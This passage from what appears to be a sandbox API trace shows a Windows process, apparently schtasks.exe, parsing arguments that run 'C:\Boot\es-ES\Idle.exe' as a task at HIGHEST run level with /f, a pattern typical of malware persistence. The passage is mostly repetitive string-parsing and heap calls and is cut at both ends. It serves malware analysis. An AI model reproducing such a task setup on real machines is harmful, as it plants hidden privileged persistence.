_Buffer=0x30c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0134.693] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0134.693] lstrlenW (lpString="|showsid|") returned 9 [0134.693] lstrlenW (lpString="|tr|") returned 4 [0134.693] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0134.693] SetLastError (dwErrCode=0x490) [0134.693] SetLastError (dwErrCode=0x490) [0134.693] SetLastError (dwErrCode=0x0) [0134.693] lstrlenW (lpString="/tr") returned 3 [0134.693] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0134.693] SetLastError (dwErrCode=0x490) [0134.693] SetLastError (dwErrCode=0x0) [0134.693] lstrlenW (lpString="/tr") returned 3 [0134.693] GetProcessHeap () returned 0x2f0000 [0134.693] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30dcc0 [0134.693] GetProcessHeap () returned 0x2f0000 [0134.693] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30ccc0 [0134.693] SetLastError (dwErrCode=0x0) [0134.693] SetLastError (dwErrCode=0x0) [0134.693] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.693] lstrlenW (lpString="-/") returned 2 [0134.693] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0134.693] SetLastError (dwErrCode=0x490) [0134.693] SetLastError (dwErrCode=0x490) [0134.693] SetLastError (dwErrCode=0x0) [0134.693] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.693] StrChrIW (lpStart="'C:\\Boot\\es-ES\\Idle.exe'", wMatch=0x3a) returned=":\\Boot\\es-ES\\Idle.exe'" [0134.693] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.693] GetProcessHeap () returned 0x2f0000 [0134.693] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d4d0 [0134.693] _memicmp (_Buf1=0x30d4d0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.693] GetProcessHeap () returned 0x2f0000 [0134.693] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0xe) returned 0x30d4f0 [0134.694] GetProcessHeap () returned 0x2f0000 [0134.694] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x18) returned 0x30d510 [0134.694] _memicmp (_Buf1=0x30d510, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.694] GetProcessHeap () returned 0x2f0000 [0134.694] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x34) returned 0x307a60 [0134.694] SetLastError (dwErrCode=0x7a) [0134.694] SetLastError (dwErrCode=0x0) [0134.694] SetLastError (dwErrCode=0x0) [0134.694] lstrlenW (lpString="'C") returned 2 [0134.694] lstrlenW (lpString="-/") returned 2 [0134.694] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0134.694] SetLastError (dwErrCode=0x490) [0134.694] SetLastError (dwErrCode=0x490) [0134.694] SetLastError (dwErrCode=0x0) [0134.694] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0134.694] GetProcessHeap () returned 0x2f0000 [0134.694] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x32) returned 0x307aa0 [0134.694] GetProcessHeap () returned 0x2f0000 [0134.694] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30ccf0 [0134.694] SetLastError (dwErrCode=0x0) [0134.694] SetLastError (dwErrCode=0x0) [0134.694] lstrlenW (lpString="/rl") returned 3 [0134.694] lstrlenW (lpString="-/") returned 2 [0134.694] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.694] lstrlenW (lpString="?") returned 1 [0134.694] lstrlenW (lpString="?") returned 1 [0134.694] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.694] lstrlenW (lpString="rl") returned 2 [0134.694] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.694] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0134.694] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0134.694] lstrlenW (lpString="|?|") returned 3 [0134.694] lstrlenW (lpString="|rl|") returned 4 [0134.694] SetLastError (dwErrCode=0x490) [0134.694] lstrlenW (lpString="create") returned 6 [0134.695] lstrlenW (lpString="create") returned 6 [0134.695] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.695] lstrlenW (lpString="rl") returned 2 [0134.695] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.695] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0134.695] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0134.695] lstrlenW (lpString="|create|") returned 8 [0134.695] lstrlenW (lpString="|rl|") returned 4 [0134.695] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0134.695] SetLastError (dwErrCode=0x490) [0134.695] lstrlenW (lpString="delete") returned 6 [0134.695] lstrlenW (lpString="delete") returned 6 [0134.695] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.695] lstrlenW (lpString="rl") returned 2 [0134.695] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.695] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0134.695] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0134.695] lstrlenW (lpString="|delete|") returned 8 [0134.695] lstrlenW (lpString="|rl|") returned 4 [0134.695] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0134.695] SetLastError (dwErrCode=0x490) [0134.695] lstrlenW (lpString="query") returned 5 [0134.695] lstrlenW (lpString="query") returned 5 [0134.695] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.695] lstrlenW (lpString="rl") returned 2 [0134.695] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.695] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0134.695] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0134.695] lstrlenW (lpString="|query|") returned 7 [0134.695] lstrlenW (lpString="|rl|") returned 4 [0134.695] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0134.695] SetLastError (dwErrCode=0x490) [0134.695] lstrlenW (lpString="change") returned 6 [0134.696] lstrlenW (lpString="change") returned 6 [0134.696] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.696] lstrlenW (lpString="rl") returned 2 [0134.696] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.696] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0134.696] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0134.696] lstrlenW (lpString="|change|") returned 8 [0134.696] lstrlenW (lpString="|rl|") returned 4 [0134.696] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0134.696] SetLastError (dwErrCode=0x490) [0134.696] lstrlenW (lpString="run") returned 3 [0134.696] lstrlenW (lpString="run") returned 3 [0134.696] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.696] lstrlenW (lpString="rl") returned 2 [0134.696] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.696] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0134.696] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0134.696] lstrlenW (lpString="|run|") returned 5 [0134.696] lstrlenW (lpString="|rl|") returned 4 [0134.696] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0134.696] SetLastError (dwErrCode=0x490) [0134.696] lstrlenW (lpString="end") returned 3 [0134.696] lstrlenW (lpString="end") returned 3 [0134.696] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.696] lstrlenW (lpString="rl") returned 2 [0134.696] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.696] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0134.697] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0134.697] lstrlenW (lpString="|end|") returned 5 [0134.697] lstrlenW (lpString="|rl|") returned 4 [0134.697] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0134.697] SetLastError (dwErrCode=0x490) [0134.697] lstrlenW (lpString="showsid") returned 7 [0134.697] lstrlenW (lpString="showsid") returned 7 [0134.697] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.697] lstrlenW (lpString="rl") returned 2 [0134.697] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.697] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0134.697] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0134.697] lstrlenW (lpString="|showsid|") returned 9 [0134.697] lstrlenW (lpString="|rl|") returned 4 [0134.697] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0134.697] SetLastError (dwErrCode=0x490) [0134.697] SetLastError (dwErrCode=0x490) [0134.697] SetLastError (dwErrCode=0x0) [0134.697] lstrlenW (lpString="/rl") returned 3 [0134.697] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0134.697] SetLastError (dwErrCode=0x490) [0134.697] SetLastError (dwErrCode=0x0) [0134.697] lstrlenW (lpString="/rl") returned 3 [0134.697] GetProcessHeap () returned 0x2f0000 [0134.697] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x8) returned 0x30dce0 [0134.697] GetProcessHeap () returned 0x2f0000 [0134.697] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd20 [0134.697] SetLastError (dwErrCode=0x0) [0134.698] SetLastError (dwErrCode=0x0) [0134.698] lstrlenW (lpString="HIGHEST") returned 7 [0134.698] lstrlenW (lpString="-/") returned 2 [0134.698] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0134.698] SetLastError (dwErrCode=0x490) [0134.698] SetLastError (dwErrCode=0x490) [0134.698] SetLastError (dwErrCode=0x0) [0134.698] lstrlenW (lpString="HIGHEST") returned 7 [0134.698] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0134.698] SetLastError (dwErrCode=0x490) [0134.698] SetLastError (dwErrCode=0x0) [0134.698] lstrlenW (lpString="HIGHEST") returned 7 [0134.698] GetProcessHeap () returned 0x2f0000 [0134.698] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x10) returned 0x30d530 [0134.698] GetProcessHeap () returned 0x2f0000 [0134.698] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd50 [0134.698] SetLastError (dwErrCode=0x0) [0134.698] SetLastError (dwErrCode=0x0) [0134.698] lstrlenW (lpString="/f") returned 2 [0134.698] lstrlenW (lpString="-/") returned 2 [0134.698] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.698] lstrlenW (lpString="?") returned 1 [0134.698] lstrlenW (lpString="?") returned 1 [0134.698] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.698] lstrlenW (lpString="f") returned 1 [0134.698] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.698] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0134.698] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0134.699] lstrlenW (lpString="|?|") returned 3 [0134.699] lstrlenW (lpString="|f|") returned 3 [0134.699] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0134.699] SetLastError (dwErrCode=0x490) [0134.699] lstrlenW (lpString="create") returned 6 [0134.699] lstrlenW (lpString="create") returned 6 [0134.699] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.699] lstrlenW (lpString="f") returned 1 [0134.699] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.699] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0134.699] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0134.699] lstrlenW (lpString="|create|") returned 8 [0134.699] lstrlenW (lpString="|f|") returned 3 [0134.699] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0134.699] SetLastError (dwErrCode=0x490) [0134.699] lstrlenW (lpString="delete") returned 6 [0134.699] lstrlenW (lpString="delete") returned 6 [0134.699] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.699] lstrlenW (lpString="f") returned 1 [0134.699] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.699] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0134.699] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0134.699] lstrlenW (lpString="|delete|") returned 8 [0134.699] lstrlenW (lpString="|f|") returned 3 [0134.699] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0134.699] SetLastError (dwErrCode=0x490) [0134.699] lstrlenW (lpString="query") returned 5 [0134.699] lstrlenW (lpString="query") returned 5 [0134.699] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.699] lstrlenW (lpString="f") returned 1 [0134.699] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.700] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0134.700] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0134.700] lstrlenW (lpString="|query|") returned 7 [0134.700] lstrlenW (lpString="|f|") returned 3 [0134.700] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0134.700] SetLastError (dwErrCode=0x490) [0134.700] lstrlenW (lpString="change") returned 6 [0134.700] lstrlenW (lpString="change") returned 6 [0134.700] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.700] lstrlenW (lpString="f") returned 1 [0134.700] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.700] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0134.700] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0134.700] lstrlenW (lpString="|change|") returned 8 [0134.700] lstrlenW (lpString="|f|") returned 3 [0134.700] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0134.700] SetLastError (dwErrCode=0x490) [0134.700] lstrlenW (lpString="run") returned 3 [0134.700] lstrlenW (lpString="run") returned 3 [0134.700] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.700] lstrlenW (lpString="f") returned 1 [0134.700] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.700] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0134.700] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0134.700] lstrlenW (lpString="|run|") returned 5 [0134.700] lstrlenW (lpString="|f|") returned 3 [0134.700] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0134.700] SetLastError (dwErrCode=0x490) [0134.700] lstrlenW (lpString="end") returned 3 [0134.700] lstrlenW (lpString="end") returned 3 [0134.700] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.701] lstrlenW (lpString="f") returned 1 [0134.701] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.701] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0134.701] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0134.701] lstrlenW (lpString="|end|") returned 5 [0134.701] lstrlenW (lpString="|f|") returned 3 [0134.701] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0134.701] SetLastError (dwErrCode=0x490) [0134.701] lstrlenW (lpString="showsid") returned 7 [0134.701] lstrlenW (lpString="showsid") returned 7 [0134.701] _memicmp (_Buf1=0x30c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.701] lstrlenW (lpString="f") returned 1 [0134.701] _memicmp (_Buf1=0x30c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0134.701] _vsnwprintf (in: _Buffer=0x30c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0134.701] _vsnwprintf (in: _Buffer=0x30c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0134.701] lstrlenW (lpString="|showsid|") returned 9 [0134.701] lstrlenW (lpString="|f|") returned 3 [0134.701] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0134.701] SetLastError (dwErrCode=0x490) [0134.701] SetLastError (dwErrCode=0x490) [0134.701] SetLastError (dwErrCode=0x0) [0134.701] lstrlenW (lpString="/f") returned 2 [0134.701] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0134.701] SetLastError (dwErrCode=0x490) [0134.701] SetLastError (dwErrCode=0x0) [0134.701] lstrlenW (lpString="/f") returned 2 [0134.701] GetProcessHeap () returned 0x2f0000 [0134.701] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x6) returned 0x30dd00 [0134.701] GetProcessHeap () returned 0x2f0000 [0134.701] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x20) returned 0x30cd80 [0134.701] SetLastError (dwErrCode=0x0) [0134.701] GetProcessHeap () returned 0x2f0000 [0134.701] GetProcessHeap () returned 0x2f0000 [0134.702] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c190) returned 1 [0134.702] GetProcessHeap () returned 0x2f0000 [0134.702] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c190) returned 0x8 [0134.702] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c190 | out: hHeap=0x2f0000) returned 1 [0134.702] GetProcessHeap () returned 0x2f0000 [0134.702] GetProcessHeap () returned 0x2f0000 [0134.702] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cba0) returned 1 [0134.702] GetProcessHeap () returned 0x2f0000 [0134.702] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cba0) returned 0x20 [0134.702] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cba0 | out: hHeap=0x2f0000) returned 1 [0134.702] GetProcessHeap () returned 0x2f0000 [0134.702] GetProcessHeap () returned 0x2f0000 [0134.702] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d490) returned 1 [0134.702] GetProcessHeap () returned 0x2f0000 [0134.702] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d490) returned 0xc [0134.702] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d490 | out: hHeap=0x2f0000) returned 1 [0134.702] GetProcessHeap () returned 0x2f0000 [0134.703] GetProcessHeap () returned 0x2f0000 [0134.703] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbd0) returned 1 [0134.703] GetProcessHeap () returned 0x2f0000 [0134.703] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cbd0) returned 0x20 [0134.703] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cbd0 | out: hHeap=0x2f0000) returned 1 [0134.703] GetProcessHeap () returned 0x2f0000 [0134.703] GetProcessHeap () returned 0x2f0000 [0134.703] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dc60) returned 1 [0134.703] GetProcessHeap () returned 0x2f0000 [0134.703] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dc60) returned 0x8 [0134.703] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dc60 | out: hHeap=0x2f0000) returned 1 [0134.703] GetProcessHeap () returned 0x2f0000 [0134.703] GetProcessHeap () returned 0x2f0000 [0134.703] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc00) returned 1 [0134.703] GetProcessHeap () returned 0x2f0000 [0134.703] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc00) returned 0x20 [0134.703] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc00 | out: hHeap=0x2f0000) returned 1 [0134.703] GetProcessHeap () returned 0x2f0000 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4b0) returned 1 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d4b0) returned 0xe [0134.704] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4b0 | out: hHeap=0x2f0000) returned 1 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc30) returned 1 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc30) returned 0x20 [0134.704] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc30 | out: hHeap=0x2f0000) returned 1 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dc80) returned 1 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dc80) returned 0x8 [0134.704] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dc80 | out: hHeap=0x2f0000) returned 1 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc60) returned 1 [0134.704] GetProcessHeap () returned 0x2f0000 [0134.704] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc60) returned 0x20 [0134.705] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc60 | out: hHeap=0x2f0000) returned 1 [0134.705] GetProcessHeap () returned 0x2f0000 [0134.705] GetProcessHeap () returned 0x2f0000 [0134.705] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dca0) returned 1 [0134.705] GetProcessHeap () returned 0x2f0000 [0134.705] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dca0) returned 0x4 [0134.705] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dca0 | out: hHeap=0x2f0000) returned 1 [0134.705] GetProcessHeap () returned 0x2f0000 [0134.705] GetProcessHeap () returned 0x2f0000 [0134.705] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc90) returned 1 [0134.705] GetProcessHeap () returned 0x2f0000 [0134.705] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cc90) returned 0x20 [0134.705] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cc90 | out: hHeap=0x2f0000) returned 1 [0134.705] GetProcessHeap () returned 0x2f0000 [0134.705] GetProcessHeap () returned 0x2f0000 [0134.705] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcc0) returned 1 [0134.705] GetProcessHeap () returned 0x2f0000 [0134.705] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dcc0) returned 0x8 [0134.705] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcc0 | out: hHeap=0x2f0000) returned 1 [0134.706] GetProcessHeap () returned 0x2f0000 [0134.706] GetProcessHeap () returned 0x2f0000 [0134.706] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccc0) returned 1 [0134.706] GetProcessHeap () returned 0x2f0000 [0134.706] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ccc0) returned 0x20 [0134.706] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccc0 | out: hHeap=0x2f0000) returned 1 [0134.706] GetProcessHeap () returned 0x2f0000 [0134.706] GetProcessHeap () returned 0x2f0000 [0134.706] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307aa0) returned 1 [0134.706] GetProcessHeap () returned 0x2f0000 [0134.706] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x307aa0) returned 0x32 [0134.706] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x307aa0 | out: hHeap=0x2f0000) returned 1 [0134.706] GetProcessHeap () returned 0x2f0000 [0134.706] GetProcessHeap () returned 0x2f0000 [0134.706] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccf0) returned 1 [0134.706] GetProcessHeap () returned 0x2f0000 [0134.706] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ccf0) returned 0x20 [0134.707] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ccf0 | out: hHeap=0x2f0000) returned 1 [0134.707] GetProcessHeap () returned 0x2f0000 [0134.707] GetProcessHeap () returned 0x2f0000 [0134.707] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dce0) returned 1 [0134.707] GetProcessHeap () returned 0x2f0000 [0134.707] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dce0) returned 0x8 [0134.707] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dce0 | out: hHeap=0x2f0000) returned 1 [0134.707] GetProcessHeap () returned 0x2f0000 [0134.707] GetProcessHeap () returned 0x2f0000 [0134.707] HeapValidate 